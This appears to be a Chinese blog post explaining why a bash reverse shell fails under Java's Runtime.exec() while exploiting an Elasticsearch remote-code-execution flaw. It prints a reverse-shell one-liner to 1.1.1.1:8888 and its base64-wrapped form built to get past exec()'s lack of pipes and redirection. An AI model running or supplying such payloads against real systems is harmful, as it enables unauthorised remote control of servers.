java中runtime.exec無法反彈bash shell的原因及解決辦法

前些天在搞es的遠程代碼執行問題,掃描器掃出來幾個,想反彈個shell出來,結果反彈不出來。

圖看不清楚…總之就是使用 java.lang.Runtime.getRuntime().exec(command),執行了反彈shell的bash命令。結果反彈不出來。

問了同事才知道,管道符、輸入輸出重定向,只有在bash環境下才能用。而在這裏,我們使用的是java爲我們提供的命令執行環境,不支持管道符、輸入輸出重定向等。因此需要bash64編碼一下。

具體解釋:

有時這是因爲重定向和管道字符的使用方式在正在啓動的進程的上下文中沒有意義。例如,ls > dir_listing在shell中執行應該將當前目錄的列表輸出到名爲的文件中dir_listing。但是在exec()函數的上下文中,該命令將被解釋爲獲取>dir_listing目錄的列表。

其他時候,其中包含空格的參數會被StringTokenizer類破壞,該類將空格分割爲命令字符串。那樣的東西ls "My Directory"會被解釋爲ls '"My' 'Directory"'

通過下面這個工具可以生成對應的bash64編碼後的命令。

https://x.hacking8.com/?post=293

bash -i >& /dev/tcp/1.1.1.1/8888 0>&1 ,生成的命令如下:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}

具體怎麼生成的以及命令是什麼含義,還沒有研究。抽空研究一下自己實現一個腳本。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章